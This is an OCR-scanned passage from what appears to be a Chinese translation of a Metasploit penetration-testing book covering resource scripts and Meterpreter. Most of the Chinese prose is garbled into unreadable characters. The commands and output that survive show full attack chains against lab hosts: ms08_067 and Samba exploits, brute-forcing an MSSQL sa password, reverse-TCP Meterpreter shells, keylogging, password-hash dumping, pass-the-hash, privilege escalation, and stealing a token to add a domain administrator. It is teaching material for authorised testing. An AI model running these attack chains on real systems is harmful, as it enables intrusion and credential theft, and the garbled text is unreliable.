KL MRAF R Frds BT 1E], bR REEEN G EARFE EE AL #ITHME.

A LAE MSF #im P {EA resource a2 AR A, 2EH o] LIERERER G ST
FAE F-r #5358 B S 1E A MSF R — /NS 8E B RkiETT,

T XA R 6 F AR T T )8 — MR B R Metasploit A4S, FHFEANFE S
IR A

root@bt:/opt/framework3/msf3/ echo version > resource.rc ©
root@bt:/opt/frameworki/msf3/ echo load sounds >> resource.rc ®
root@bt:/opt/framework3/msf3/ msfconsole -r resource.rc @
® resource (resource.rc)» version
Framework: 3.7.0-dev.12220
Console : 3.7.0-dev.12220
resource (resource.rc)> load sounds
[*] Successfully loaded plugin: sounds
mst >

WRAT L, ZEOF@4L, version #i1S Fl load sounds S-S E N4 K resource.re BT
R, XA SR TE-r 2858 3| msfeconsole 7O, ®|EEXMNEHECHHEEN, Hbd,
SR N SERIAT, HPITE RO,
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7E SR IR ch AT DL A — AN R E AR SO, B SR EMURESE. F
B £ R TAEH —NH R A autoexploit.re FIBHIESCH, KHAT—IK SMB Hdi. Al
EXANEWH AP RE 7B HAR, BRI ESE, XREFEPAT B A g XX S
BIT FL®RAET -

root@bt : /opt/framework3/msfi/ echo use exploit/windows/smb/ms08_067_netapi > autoexploit.rc
root@bt: /opt/frameworki/msf3/ echo set RHOST 192.168.1.155 »» autoexploit.rc

root@bt : /opt/framework3/msf3/ echo set PAYLOAD windows/meterpreter/reverse tcp »>> autoexploit.xc
root@bt :/opt/framework3/msf3/ echo set LHOST 192.168.1.101 »> autoexploit.rc

root@bt :/opt/framework3/msf3/ echo exploit »> autoexploit.rc

root@bt : /opt/framework3/msf3/ msfconsole

mst > resource autoexploit.rc

resource (autoexploit.rc)@> use exploit/windows/smb/ms08_067 netapi

resource (autoexploit.rc)> set RHOST 192.168.1.155

RHOST => 192.168.1.155

resource (autoexploit.rc)» set PAYLOAD windows/meterpreter/reverse tcp

PAYLOAD =» windows/meterpreter/reverse tcp

resource (autoexploit.rc)> set LHOST 192.168.1.101

LHOST =» 192.168.1.101

resource (autoexploit.rc)> exploit

[*] Started reverse handler on 192.168.1.101:4444

[*] Trigpering the vulnerability...

[*] Sending stage (747008 bytes)

[*] Meterpreter session 1 opened (192.168.1.101:4444 -> 192.168.1.155:1033)

meterpreter »

X BRATTEE MSF S £ SR SCIF I 44, SUE P I fr B 44 H AT, S &5 R
OfT/R.

R X AR —EHREYGTF, £F 12F P, 4kE&F T BT A Karmetasploit, €
& —ANAE R B A8 TR .

5.6 /&

BLBLIR, PRELAEH MSF 2 Ak T 58— XA LR AR BGE, R T EREe
AL

fEAES, A M2EIGERFIR, JFEN ORI, B TR HbrRE
Pl. BEBGEPARERMNFASMHHRRRPHFAENL LIS . REPEAMEA nmap iR
) FT REAF E IR R AR S5, fRUCELRY BB BT, HIREUT ARGV R ALRR .

fE5 6 FErh, AKX Meterpreter ZE1T 5 4 VA RIER T, 57 33 Ifal £ BLadi A i Do '
R RIAEBAN R4 )5, Meterpreter 58 A Th < bR E #E
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Meterpreter

EETER, RIVHXT “BEImELFET]” —Meterpreter HITEINFEARN T #, BB E
R ARG B EBGEM BB AR J1 . Meterpreter &2 Metasploit HEZ2 & f — A R F-4d,
A A I v Y S B B A BT A B AT 7 A R U R S R R [P g5 AT — A o
E. B, RMAEAELREAE (RPC) IREK—NRR, SRR E, RI1%EHE Meterpreter
ER BT 8T, MAEW A HIRRL LR —A Meterpreter Shell 3. Meterpreter &
Metasploit HEZEH]— A R, 7 LLJE A Metasploit f1—4Th Rk, X HER RGBT HE A IR
AWEE, XEai B, AANF T/ES., BHEEAERN. SFAERA . BiRX
5.

X—FRAM A Metasploit H)¥ 8 BE AL KRB —F Windows XP Hl#%, REFH
Meterpreter {fE A B E 8, BREEHEABRARGERN —EHMpIEFESHEAR.
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6.1 IZFE Windows XP EH#I#]
TEVEY N 48 Meterpreter B IhRERFPE 2 a0, BATU AR -G REHTE 1

Meterpreter shell.

6.1.1 {£/HA Nmap s
BT I aR1EFH Nmap X H fridtfrmm D345, COUUNITF ORI AR SS, 338 n] LLUE AT I3 A F 49

msf > nmap -sT -A -PO 192.168.33.130 ©
[*] exec: nmap -sT -A -P0 192.168.33.130

. SNIP. .
PORT STATE SERVICE VERSION
21/tcp open Fip Microsoft fipd ©
25/tcp open smtp Microsoft ESMTP 6.0.2600.2180 @
80/tcp open http Microsoft IIS webserver 5.1 @
| _html-title: Directory Listing Denied
135/tcp open msrpc Microsoft Windows RPC

139/tcp open netbios-ssn

445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds

1025/tcp open msrpc Microsoft Windows RPC

1433/tcp open ms-sgl-s Microsoft SQL Server 2005 9.00.1399; RTM @
6646/tcp open unknown

MAC Address: 00:0C:29:EA:26:7C (VMware)

Device type: general purpose

Running: Microsoft Windows XP|2003

0S details: Microsoft Windows XP Professional SP2 @ or Windows Server 2003

. SNIP . .
Nmap done: 1 IP address (1 host up) scanned in 37.58 seconds

msf >

Widim MO LIES], REFRT —EHEREMNED, B MS SQLOIXR 5 3% K il
g . AEAEEEMLEEL nmap 3146, RIMARLG AN Windows XP Service Pack2®, X4
MAR ARG CEATYEY, FLOATFRIFTE SP3 REh CALB 4, (B1E SP2 PIRARIFA.

AR R P Al LLF BT FTPOF SMTP®Uf [, IX P AN 0 6] BEAEAE a] 0 H 0 061 .
AR JFICT 80 3 M@, FEAKEBAT I LA BT Web N H Zdi.

6.1.2 IXEH MS SQL

FEXNEFH, BATES MS SQL B9 1433 ¥ D TH S, BAXANEHOEIFE SR
i, FWLLSEHLSE 2N HEAEH AU,
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Eode, RAVEEMIALE T MS SQL, RJ52iA%T MS SQL AR %5217 8 /1 5 AF LIZREUE Y,
MS SQL BRiA 236 7E TCP 1433 3 CUR1 UDP 1434 3501, {BFTARAH) MS SQL R &4 B3]
A4MECH TCP 3 E1, UDP 1434 3 DB 251E, =] LUEE UDP % PR AT HIZRER SQL AR % (1)
TCP 3753w H o

X H, @RI E AR RS LB UDP 1434 Ui R I -

msf > nmap -sU 192.168.33.130 -p1434 ©

Nmap scan report for 192.168.33.130
Host is up (0.00033s latency).

PORT STATE SERVICE
1434/udp open ms-sgl-m @

Nmap done: 1 IP address (1 host up) scanned in 0.46 seconds
msf >

A ULEZ, FRENOKIEMS SQL ] UDP 1434 ig D20, (FHl1l, 13§17 %
B MS SQL B fEE BIEARI T4, )

BL MS SQL & H¥r, FA10I LLEH mssql_ping #HE4E H MS SQL IR% w1, HtiTH P
#5004 K5I . MS SQL fEHIIR ZE KB ERER O sa MRS EHRGHF . HTHEE
HALZEREFNEGEBHNLERE, FEASREFENNEFN, BRI LAZEEN
a5 MR sa F P R,

T, BAVEEASH mssql_login BH R Z2EXT sa A P AT R W% .

msf > use scanner/mssql/mssql_ping
msf auxiliary(mssql ping) > show options

Module options:

Name Current Setting Required Description

PASSWORD no The password for the specified username
RHOSTS yes The target address range or CIDR identifier
THREADS 1 yes The number of concurrent threads

USERNAME sa no The username to authenticate as

msf auxiliary(mssql ping) > set RHOSTS 192.168.33.1/24
RHOSTS =»> 192.168.33.1/24

msf auxiliary(mssql ping) > set THREADS 20

THREADS => 20

msf auxiliary(mssql ping) > exploit

[*] Scanned 040 of 256 hosts (015% complete)
[*] Scanned 052 of 256 hosts {020% complete)
[*] Scanned 080 of 256 hosts (031% complete)
[*] Scanned 115 of 256 hosts (044% complete)
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[*] SQL Server information for 192.168.33.130: ©

[*] ServerName = IHAZSECURITY @
[*] InstanceName = SQLEXPRESS

[*] IsClustered = No

[*] Version = 9.00.1399.06 ©
[*]  tep - 1433 ©

]
[*] np \\IHAZSECURITY\pipe\MSSOL$SOLEXPRESS\sql\query
[*] Scanned 129 of 256 hosts (050% complete)

ilixl use scanner/mssql/mssql_ping 4 mssql_ping R EZS L, R)E1=1T,

Al LA F| SQL AR 2%4cdE4E 192.168.33.1300 |, K424 4 THAZSECURITY®. [RASH
9.00.1399.06©® (SQL Server 2005) , Wil 152 14330,

6.1.3 ~F WM MS SQL A F =%

T2, WATFIH Metasploit HEBEH) mssql_login FRKHEAT 2 T WLR# -

msf > use scanner/mssql/mssql_login ©
msf auxiliary(mssql login) > show options

Module options:

Name Current Setting Required Description

BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5

PASSWORD no The password for the specified username

PASS FILE no File containing passwords, one per line

RHOSTS yes The target address range or CIDR identifier

RPORT 1433 yes The target port

THREADS 1 yes The number of concurrent threads

USERNAME sa no The username to authenticate as

USERPASS FILE no File containing users and passwords
separated by space, one pair per line

USER_FILE no File containing usernames, one per line

VERBOSE true yes Whether to print output for all attempts

msf auxiliary(mssql login) > set PASS FILE /pentest/exploits/fasttrack/bin/dict/wordlist.txt @
PASS FILE => /pentest/exploits/fasttrack/bin/dict/wordlist,txt

msf auxiliary(mssql login) > set RHOSTS 192.168.33.130

RHOSTS => 192.168.33.130

msf auxiliary(mssql login) > set THREADS 10

THREADS =» 10

msf auxiliary(mssql login) > set verbose false

verbose =» false

msf auxiliary(mssql login) > exploit

[+] 192.168.33.130:1433 - MSSQL - successful login 'sa' : 'passwordi23'@®©
[*] Scanned 1 of 1 hosts (100% complete)

[*] Auxiliary module execution completed
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E6FE Meterpreter

B #E mssql_login #iH@®, {#H Fast-Track T HIFEEFI KO . (FRA TR 11 75448 Fast-Track
FIE M), RINVIEMH T sa 114 : password123©.

}27R: Fast-Track R A B HF —GEEF LB —A L, TRT SHLEF X, RFAFA
VAR Metasploit AE4, R#EATHE E A4 A ShHN. Fast-Track 69 —A> 3 fE4F MR T AR A 8K
fig#a f) 32 & MS SQL.

6.1.4 xp cmdshell

DL sa R 02 0K AU BRIZAT MS SQL B, FATTRT BASRAT xp_cmdshell fE65EFE, A7 FE
ARFBRNAESIKERAERGHATIE L IHFAAT G4 - xp_cmdshell & SQL Server T R & R H A
BAMFE, BATATLAELL MS SQL fH xp_cmdshell HEKPITERAF R4, LU HH
R AT ABATE R fr 2 R AE R H - de 21T . M MS SQL AR — M2 LA SYSTEM £
MALRZATHI, FrbAl— B3k sa B, BUAT AR BUE 2 51 5 43 2K V5 11) MS SQL MUK /= #:1E

AT HEREPEANBGEES, HATEES xp_cmdshell AT H, SMAME L, Hil
i A AT S R T 7347 . David Kennedy #ll Joshua Drake (jduck) BZ&HRE T — M
B (mssql _payload), W] LL#d xp cmdshell AN AL & Metasploit B 877 -

mst > use windows/mssql/mssql_payload ©
msf exploit(mssql payload) » show options

Module options:

Name Current Setting Required Description

PASSWORD no The password for the specified username

RHOST yes The target address

RPORT 1433 yes The target port

USERNAME sa no The username to authenticate as

UseCmdStager true no Wait for user input before returning from exploit
VERBOSE false no Enable verbose output

Exploit target:

Id Name

0 Automatic
msf exploit(mssql payload) > set payload windows/meterpreter/reverse_tcp ®
payload => windows/meterpreter/reverse tcp
msf exploit(mssql payload) > set LHOST 192.168.33.129
LHOST =» 192.168.33.129
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mst exploit(mssql_payload) > set LPORT 443

LPORT => 443

msf exploit(mssql payload) > set RHOST 192.168.33.130
RHOST =»> 192.168.33.130

msf exploit(mssql payload) > set PASSWORD passwordi23
PASSWORD => passwordil23

mst exploit(mssql payload) > exploit

[*] Started reverse handler on 192.168.33.129:443

[*] Command Stager progress - 2.78% done (1494/53679 bytes)
[*] Command Stager progress - 5.57% done (2988/53679 bytes)
[*] Command Stager progress - 8.35% done (4482/53679 bytes)

. « SNIP . . .
*] Command Stager progress - 97.32% done (52239/53679 bytes)

[

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1699)
meterpreter » @

Y mssql_payload ¥R O J5, B RN B AT N meterpreter®, TE )3/ Meterpreter 23
W Z BT BRAIFTE MR S EOH TR E . AT exploit 2 /5, Meterpreter 216 7E HARAL I
I E®.

Bl —F, AR mssql ping B | MS SQL k%, FHMEH] mssql login FEHIG 4
MS SQL 1 sa H4—password123, RS mssql_payload #5 MS SQL 2L bA%
Meterpreter shell, MISEH T X RER TCREARLLFE. — B3R T Meterpreter shell, A1 7]
LAX RS AT BB R A R B 40

6.1.5 Meterpreter XX <

RINTNR RG IR REH Meterpreter 2152 f5, WATTLLRIH —2 AR Meterpreter
4, RWEFLHEE. FEAFEHEAH help drS#8n] LL13 240 ] {# A Meterpreter i35 B
fgﬂaﬂ

1. &

Meterpreter ] screenshot iy 1] LLIRHU i 20 F S 1) 5. 10 #8857 IO/ AF Bl /opt/metasploit3/msf3/
Hx, Wk e6-1 s,

meterpreter » screenshot
Screenshot saved to: /opt/metasploit3/msf3/yVHXaZar. jpeg

SE#SE R B s RS B — P EERE. W 6-1 BT, 7] LAE B & 3IZ21T T McAfee
A, BoRERN] LAERFAR REMNIRE /LT (B 7 3R BAARNHE ] FUEE R EH4) .
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B 6-1 Meterpreter # 5%

2. sysinfo

T REEEM R SR sysinfo, XA R UIKBARLIZITHEG, W HFos:
meterpreter > sysinfo

Computer: IHAZSECURITY

0S : Windows XP (Build 2600, Service Pack 2).
Arch : x86

Language: en_US

nfLAE S|, BERS R Windows XP Service Pack 2, Kl SP2 A B4, XEWERYE
fE1E— KRR

6.1.6 IRENEEZICR

BRAEBATFHEZRSG REAIEDS, o] LUER SRS Tk, WAl IEZTFE 41 Bk T
fCK. (BAEMZHT, ERIERANTH ps r KR B RGIETEIETT HIREREME.

meterpreter > ps ©

Process list

PID Name Arch Session User Path
0 [System Process]
4 System x86 0O NT AUTHORITY\SYSTEM

« SNIP . . .
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1476 spoolsv.exe x86 0 NT AUTHORITY\SYSTEM C 2 \WINDOWS
system32\spoolsv.exe

1668 explorer.exe @ x86 0O IHAZSECURITY\Administrator  C:\WINDOWS\
Explorer.EXE
. SNIP . ..

4032 notepad.exe x86 O IHAZSECURITYVAdministrator  C:\WINDOWS\

system32\notepad.exe

meterpreter > migrate 1668 @

[*] Migrating to 1668...

| *] Migration completed successfully.

meterpreter > run post/windows/capture/keylog recorder @

[*] Executing module against V-MAC-XP

[*] Starting the keystroke sniffer...

[*] Keystrokes being saved in to /root/.msf3/loot/
20110324171334_default_192.168.1.195_host.windows.key 179703.txt

[*] Recording keystrokes...
[*] Saving last few keystrokes...

root@t:~# cat /root/.msf3/loot/20110324171334 default 192.168.1.195_host.windows.key 179703.txt @
Keystroke log started at Thu Mar 24 17:13:34 -0600 2011

administrator password <Back> <Back> <Back> <Back> <Back> <Back> <Back> <Tab> passwordi23!!

AT ps 2> O3K1G T BL5E explorer.exe TE N HIUEFES| KO . A EH migrate ip 2 Q¥ =15
LR explorer.exe Wi IEAZ R, Z 583 keylog recorder LR @ . —Bhfa] 51 H CTRL-C
Pk, BE, A ASmE, JRUEIRIMNMEARAERAHRIIMNARO.

6.2 ZiRARAMER

ESCATRIP] 7, BATESHE CRERBRA A MARIEY., MRANMEARE LR, FFf
1.0] L H] Meterpreter KRR Ge 4 Mo S0 B 7 24 FERS G A .

6.21 EREMBKRAE

AR B 8 A Meterpreter 1Y hashdump BIAKHE, KB ARG HF L RELIEFHHE.
A3 Windows RIEAFER A {EHAI 70— A LAN Manager (LM), NT LAN Manager (NTLM),
8, NT LAN Manager v2 (NTLMv2).

Blan, £ LM e, SR A S e E & I R R, S5 s A RS A .
B A KRR, BEBTN TNFF -HFHE. Ll password123456 [1)# 68 4 5,
e A {E LA passwor H1 d123456 )5 A AFME, BTLABGE & KR ER S 7 M F/ 4N,
MARRIGH] 14 SF5F. 1 NTLM BFFEE T KR FBK TR, i password123456 F1EA

82



$F6FE Meterpreter

A4 3 A s A (LA

BR: BNAEX DR —ADMRIEAAHNERBGAREE 0984, b LM BT L HFR X
14 AFFERGFD, IHRZALFEL G 53380 NTLM 895/ G55 K. BP4g A # s &
AL Bt FALA Kk A T4 6 B 18] A 2 LR AT AR .

WmTFAAEERNIEEA UID 4 500 () Administrator B /7 S # @88 F{E (Windows

AR INEH R N Administrator). Administrator:500 J5 57 &2 & Administrator %53 #1984
Y A5 {HL

Administrator:500:e52cac67419a9a22cbb699e2fdfcc59e @ :30ef086423f916deec37Baacs2cqefoc @®: ::

B MEFOR LMMEAE, F PR NTLM BFES.
TR RBAVEM B OB Windows XP 24c HHEUH P 4 FI L 7510

6.2.2 {FMH Meterpreter S8 S E/RIBFHE

EHFRRG LEE - MNERMER, W thisisacrazylongpassword&&!\@@##, RS 1 H

Meterpreter SLFTIRHL H pr R4t LRI P A FEERAE (W ATHR) . HAEH use priv dy
2 EWRFEBITHERFUKS E.

RNZ WS EHEHLE (SAM) i, BAIFEIEITAE SYSTEM BET, gtk
HIBRS, KECZRTHIFET Windows F P ISR SAM fAfifi. 1 27 S B RIML EPATiX
M5, REERETRENBIAF ZMERLKAE. FHREREERTRIMEA hashdump
i SIRER G BT A B P & EFE S A 1.

meterpreter > use priv
Loading extension priv...success.

meterpreter > run post/windows/gather/hashdump
[*] Obtaining the boot key...

[*] Calculating the hboot key using SYSKEY 8528c78df7ff55040196a9b670f114b6. ..
[*] Obtaining the user list and keys...

[*] Decrypting user keys...

[*] Dumping password hashes...

Administrator:500:aad3b435b51404eeaad3b4a3sb51404ee:b75989F65d1e04af7625ed712ac36c29:::

UL aad3b435 kIR GEE " TMTETHRRAGFENREHEH—FFEN VT (GRE
Administrator:500:NOPASSWD:ntlm Mt A2 —4#) . T HF#EE 14 FH AR, Windows
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ANRER ILATAE L LM JESL, LA M aad3b435. ) F 8, ARZHVEL.

a IMBBENEE - I

A M, TARMR—T: WELETAHLLH 144&%:&&&{&%!%&
#% ) hashdump 35X 5 oA 4L 341 — A LM 69844 (/.19 % aad3b435 7 %
HES), REMEEBNFLAMT G- TG RE, FHLS, HTLEB:
ARG ERD (RERERAGAEAHA, BHEEELTHEED P T @
ARAEL) . R HIAR, B AR Al 2ot 49 X F AR B KA
¥, BERETLER., HREATARFH 09, az. HRFHFRTHGEEHES.
| Gie A RAIAKT GRATERMGNE, T0EE S RISt Bk b
\ B oo A1 22 6 AR X i s Y,

6.3 FiEMBMHE

RTEE] o, RATEE 7 SV IS LRI EE B G H P B H 5 24 R
FrfH, (HIRATABEAE 7] 8 SZ I (] R B SCA PR AR R . W SR AN ANIE B SC# 89, el i i A
APRSERAELZHEN, NMEEZMRGNE?

IX Uk R B B EAR SRR, (A FLRE A ERY 1, AT EZEE S . H Metasploit
) windows/smb/psexec FEHL 7] LLSEER, WIF BroR:

msf> use windows/smb/psexec @

mst exploit(psexec)> set PAYLOAD windows/meterpreter/reverse tcp
payload => windows/meterpreter/reverse tcp

msf exploit(psexec)> set LHOST 192.168.33.129

LHOST => 192.168.33.129

msf exploit(psexec)> set LPORT 443

LPORT => 443

msf exploit(psexec)> set RHOST 192.168.33.130

RHOST => 192.168.33.130

. SNIP . . .

msf exploit(psexec)> set SMBPass
aad3b435b51404eeaad3ba3sb51404ee:b75989f65d1e04af7625ed712ac36c2
SMBPass => aad3b435b51404eeaad3ba35b51404ee:b75989f65d1e04af7625
msf exploit(psexec)> exploit

[*] Connecting to the server...

[*] Started reverse handler

[*] Authenticating as user 'Administrator’...
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[*] Uploading payload...
[*] Created \JsOvAFLy.exe...

%4 smb/psexec i@, & E4F LHOST. LPORT fl RHOST 26 ¥ J5, # SMBPass &
B SRR RS A e . TTULEFERAIEEN T, BAIIKME T Meterpreter 2i&. XH
FATR A AN, BT BSOS, UERE WA MRS T EEH AR,

WRRIANGE THREMNEDH—EFH, EZEERT, X6 EHMEERIKS 58T
HAh A4 RAHIN 1% XFFRRA o] LUCZU AR 1S, AR SEEN M S35 1
R B .

6.4 IRIEF

IAERATIRTE T HAR ARG A9V AR, v LA net user #4613 B AN PR (4 ¥ 38 A3 /- ik
G BA VR PR W B ER BT A IR SORUR AT SR F (RVTUAFE SR 8 P R IXT
AR .

R LLSEBR A P S BN, B BRI T R B RAR A —Lar 4, XK S BT $RAL
A P AR IX 2 i) L

7t Windows XP i) H #x#l LHIALLT 5%

C:\Documents and Settings\Administrator»>net user bob passwordi23 /add.

Rig, BAIEE T Meterpreter BBt 34 F2F——payload.exe, B iF HFx XP #l
F, 7 bob MK FislT, XRIRATE BT ZMA KRS . FEXALE P, BAMER K
BT R (msfpayload) 8138 LA E Windows AT HUIT XF#E 2L Meterpreter B ik B fa 12
J¥ payload.exe. ({E55 7 EHBATH 4171 msfpayload 158 24 79)

root@bt:/opt/framework3/msf3# msfpayload windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 X > payload.exe O

root@bt: /opt/framework3/msf3# msfcli multi/handler PAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.33.129 LPORT=443 E ©

[*] Please wait while we load the module tree...

[*] Started reverse handler on 192.168.33.129:443

[*] Starting the payload handler...

[*] Sending stage (748032 bytes)

[*] Meterpreter session 1 opened (192.168.33.129:443 -> 192.168.33.130:1056)

meterpreter > getuid @

Server username: IHAZSECURITY\bob
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£ Meterpreter B3 iy, IRAIFT B A9 LHOST #1 LPORT S¥#57~ T L [7] shell 4%
BT e AL RE R 1 443, B ERATIAA msfeli # AT RV 5/ ER, A EEFIARN
i, ¥4 HF Meterpreter ) shell.
XML AR Meterpreter AJ#ATFEF @, HlF] Windows XP Hl L, #RJ5LL bob A -
iTe
BEA10 U B WV LW Meterpreter £, RIS A RF_EHAT payload exe, 133]—15¢
B2 HI /-~ 1Y) Meterpreter #5645 ©. I, FA107 L7E Back|Track Hl_ B4 payload.exe, #5 U1 %

Windows XP ML I, #Af5 4 & M0 LA4k7T Meterpreter €51«

meterpreter > shell ©

Process 2896 created.

Channel 1 created.

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.
C:\>net user bob

R

L - EHI F L]
Local Group Memberships *Users
Global Group memberships *None
The command completed successfully.
C:\onz

Background channel 1? [y/N] y

{E LB R d, AT Meterpreter 2316 3E A3 shell®, #i A net user bob, TILIE
2| bob FH/7E Users B4 Hf, AREHG, RHZROAIE. £ZXNKSOHBET, AW
By R 2R e, AREHATHr e LR MG, L BiA4R I SAM Bl FE ARG R P A1 iy ng
B (FEIZ )2, Meterpreter 1] LA 57 ARG ) R HE, 56 T ARs ] LG BD . BTG, #& CTRL-Z
SR L shell {4 B Meterpreter &1

$87<: Meterpreter &8 > 75 11 —— /& Meterpreter 24| & 2 #98-4%, T A#r A\ background
Bkt 3| MSF #£3% 2, Meterpreter #9215 E1ELT. PRJGHI\ sessions -1 #2 sessions -1 2% id
o] i& =) 3| Meterpreter 54| & .

AR AEIRA T RIRIPUE 2L T8 SYSTEM BUR . W AR, RAVHIA use priv 674 K NE priv
R, LI U) ) AR BB OGXLRIRTTREC LN . RGN getsystem #4221 ¥ AL R
WA B A RGN PRERE B BAPE . AT LU getuid 2k AR B AL PR 25 4% . IR 453 B /-
2RO (K& NT AUTHORITY\SYSTEM, XRERERNIRIDIRE TEHABR.
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meterpreter > use priv

Loading extension priv...success.
meterpreter > getsystem

...got system (via technique 4).
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

ATl LLAEFH rev2setf 474>, U)H&[E] Meterpreter shell 215 WG IS .

6.5 SHEE

E4mM B E I+, AT EIHE R AL Kerberos 414, K HTEL 41 AUETS,
KECH SR XA S AP . AR E & Meterpreter B iR K e —, XHEENLAEH
3B

wAR LT 35, HOT e RIEAX A YGETZBENR, WRIBAR T REHET T

/N Meterpreter %83, MEEHEGH A4 13 AAERTX G, ERHAPEAXEH
#F IR 1%, > Kerberos & MAG S AIX BBk %598 £ (T HULES) RGN —Btit a2
AR PRA] U R XA 82 R AR ZR G0, il Meterpreter 77 7] PAR B BsE B2 53 B FR 8
AT EBARAL AT E RS, RSRR T A X B BT RS, H2REEHEs. XAl fE2 R
ARV mRERTTER, BRI Meterpreter 3K FHER) 75— 7

6.6 {£H ps

EIRXMBF 7, BATE Meterpreter # ps 7% F1 245 JHINEAT FIN A REF LA RGEATIX L2 MY
HEE PSS . BRATTTEEE 2 F /2 SNEAKS.IN®, 1 7 i 7 44 4 ihazdomainadmin®.

meterpreter > ps

Process list

i — — — — ——— — —

PID Name Arch Session User Path

0 [System Process]

4 System xB6 O NT AUTHORITY\SYSTEM
380 cmd.exe x86 0 OSNEAKS.INVihazdomainadmin®  \System\

Root\System32\cmd.exe
.« « « SNIP . ..

meterpreter »
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WF AT, FA1{EF steal token #y4F1 PID 24t GXH & 380) ¥R BHBUIEH A M

FH .

meterpreter > steal_token 380
Stolen token with username: SNEAKS.IN\ihazdomainadmin
meterpreter >

BMCLmIhbfRE THEERRK S, A Meterpreter 2 LUREHR 7 H P RIZIT T .
R LA L T psin & AN RES B RIZ4T R . BA10] LUE Hincognitofy & ¥ 25 H R4t

ERTBIA A2 . FARGRAENF, BERN T ER K Epsiy 4 Mincognito iy £ I
H AR .

i1 use incognito 7% MNEX incognito BB, SRIEIHIL list_token -u 14525 H 4. 7O

"] LAFg Bl] SNEAKS.IN\ihazdomainadmin 1 WS . MERNMTUBENCOHIT .

meterpreter > use incognito

Loading extension incognito...success.

meterpreter > list_tokens -u

[-] Warning: Not currently running as SYSTEM, not all tokens will be available
Call rev2self if primary process token is SYSTEM

Delegation Tokens Available

e e e e = T T T D T T i S T T - . e i s
e e RS e e e B} — (e e ]

SNEAKS.IN\ihazdomainadmin O
THAZSECURITY\Administrator
NT AUTHORITY\LOCAL SERVICE
NT AUTHORITY\NETWORK SERVICE
NT AUTHORITY\SYSTEM

Impersonation Tokens Available

I e —— — T T T . S S . S S B e s e e e i
e e e e T i — e e ]

NT AUTHORITY\ANONYMOUS LOGON

WTF PR, BIVEII#E T ihazdomainadmin 2O RN T — NS @, REL TR

FTEHEHEAMNESO. (FO0% A DOMAINWUSERNAME HIRHMEEEBAFDS AT, W)
k¥ 2% 4 192.168.33.50. |

meterpreter > impersonate token SNEAKS.IN\\ihazdomainadmin ©

[+] Delegation token available

[+] Successfully impersonated user SNEAKS.IN\ihazdomainadmin

meterpreter » add_user omgcompromised p@55word! -h 192.168.33.50 ®

[*] Attempting to add user omgcompromised to host 192.168.33.50

[+] Successfully added user

meterpreter > add_group_user "Domain Admins" omgcompromised -h 192.168.33.50 ©

[*] Attempting to add user omgcompromised to group Domain Admins on domain controller
192.168.33.50

[+] Successfully added user to group
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7E#1 N\ add_user 1 add_group_user #7441}, RS E T-h 25, XS R HEH 5
S s IR B f . fEix LR RS 250 TP Hubl . X Fh B R LAt R EE K
B, R HE 5SS BT RYE LK) Kerberos £ H#, #a]LAREE, LUEEIVYE AR HH,
XA R E ML AT — G YL SRS Y

6.7 B HkRIE E A28

B Bl (Pivoting) Jf& Meterpreter $&4EH)— I i, LF M Meterpreter 28w Bt MY
A R LU, RNBUEFHRIDAR T — 6 EHL, ik er DMER R F) B X & P28
VE A kAR Bty W s ) HoAt R e, B3 Uiy I e - i e ) BB if S e RV 1) B P9 Y R 4

A, BRI E N BB FE iz BN, EdENREAART 1R, HEA
M L& P T Meterpreter 235 . (AIXMRE EIHFEAREEN G R, AR ARER
Ui HoA B A R R4, XAl EREAT A IR RE . B AR B0 S VF AR A 2 U #2561 /Y
Meterpreter £ i 2K B ki A &1 P 25 o (9 S AR AL 2%

£ FHAE 1, BATEMN A TREGE—DNERRSE, REdX MR HH A
HHEABYLAE. B, TAIZEEX Windows XP HLAs TR, MG DU &, BXA
AR5 ) — 4 Ubuntu REFATH . BEALH IP & 10.10.1.1/24 F Mk, Hixg
192.168.33.1/24 KM .

FBAMR AR OLIRT TR IRFSBHI VTR AR, BrLAiociER R 5 H i 258 57
R . AR R TE scripts/meterpreter/ B 3 /) Meterpreter ST A, XA T 0] LI
Meterpreter = { H HIE 5 DI HE -

[*] Meterpreter session 1 opened (10.10.1.129:443 -> 192.168.33.130:1075)

meterpreter > run get_local subnets ©

Local subnet: 192.168.33.0/255.255.255.0

meterpreter » background @

msf exploit(handler) > route add 192.168.33.0 255.255.255.0 1 ©
msf exploit(handler) > route print ©

Active Routing Table

Subnet Netmask Gateway

192.168.33.0 255.255.255.0 Session 1 @
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AT E 5B run get_local_subnets @74, 7F Meterpreter G PR ZE RS AR -7 M
Q. TR T Windows XP HLIFHA 5E 2RIV R BUR, RGBT BGE S 1E R EE 812170,
fE MSF IR PHATIR MM Hir 20, SRS EREMNE ID (BISZ28 FHR AR ML) #id
Wi et 1 KT, AL route print 74 BE/R SEVERKH B AR ETO. 7 LLFERIE
FUH ARSI T R HO .

e BATX H s Linux REUEATHR _IRIZEEGL, XA KZE T Samba {3 i H IR
By, XNWTRAFTE T B AH Metasploitable ¥4 L.

use msf exploit(handler) > use linux/samba/lsa_transnames_heap
msf exploit(lsa transnames_heap) > set payload linux/x86/shell/reverse tcp
payload => linux/x86/shell/reverse tcp

msf exploit(lsa_transnames_heap) > set LHOST 10.10.1.129 ©
LHOST =» 10.10.1.129

msf exploit(lsa transnames_heap) > set LPORT 8080

LPORT => 8080

msf exploit(lsa_transnames heap) > set RHOST 192.168.33.132 @
RHOST => 192.168.33.132

msf exploit(lsa transnames heap) > ifconfig ©

[*] exec: ifconfig

etho Link encap:Ethernet HWaddr 00:0c:29:47:e6:79
inet addr:10.10.1.129 Bcast:10.10.1.255 Mask:255.255.255.0
ineté addr: fe80::20c:29ff:fe47:e679/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:23656 errors:0 dropped:0 overruns:0 frame:0
TX packets:32321 errors:0 dropped:0 overruns:0 carrier
collisions:0 txqueuelen:1000
RX bytes:4272582 (4.2 MB) TX bytes:17849775 (17.8 MB)
Interrupt:19 Base address:0x2000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:600 errors:0 dropped:0 overruns:0 frame:0
TX packets:600 errors:0 dropped:0 overruns:0 carrier:0

